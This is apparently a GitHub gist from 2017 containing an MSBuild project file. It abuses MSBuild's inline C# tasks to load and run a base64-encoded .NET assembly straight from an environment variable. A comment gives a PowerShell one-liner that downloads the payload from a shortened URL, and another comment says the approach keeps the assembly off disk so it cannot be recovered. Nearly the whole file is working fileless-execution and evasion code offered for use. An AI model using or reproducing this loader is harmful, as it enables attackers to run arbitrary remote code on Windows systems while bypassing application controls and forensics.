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@davehardy20
Created July 27, 2017 07:19
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MSBuild Execute Assembly From Environment Variable
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- This inline task executes c# code. -->
<!-- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe msbuilder.xml -->
<!-- Populate the Env Var like this or many other ways: -->
<!-- $env:TheThingIs = (New-Object Net.Webclient).downloadstring('http://bit.ly/2tDkg2e') -->
<!-- This has the advantage of keeping the assembly out of the xml on disk if it were ever recovered -->
<!-- This is just a simple example... MSBuild is a rich scripting engine with lots of abiltiy to customize the build process -->
<Target Name="Hello">
<SharpLauncher >
</SharpLauncher>
</Target>
<UsingTask
TaskName="SharpLauncher"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<ParameterGroup/>
<Task>
<Using Namespace="System" />
<Using Namespace="System.Reflection" />
<Code Type="Fragment" Language="cs">
<![CDATA[
string s = $(TheThingIs)
byte[] b = System.Convert.FromBase64String(s);
Assembly a = Assembly.Load(b);
MethodInfo method = a.EntryPoint;
object o = a.CreateInstance(method.Name);
method.Invoke(o, null);
]]>
</Code>
</Task>
</UsingTask>
</Project>
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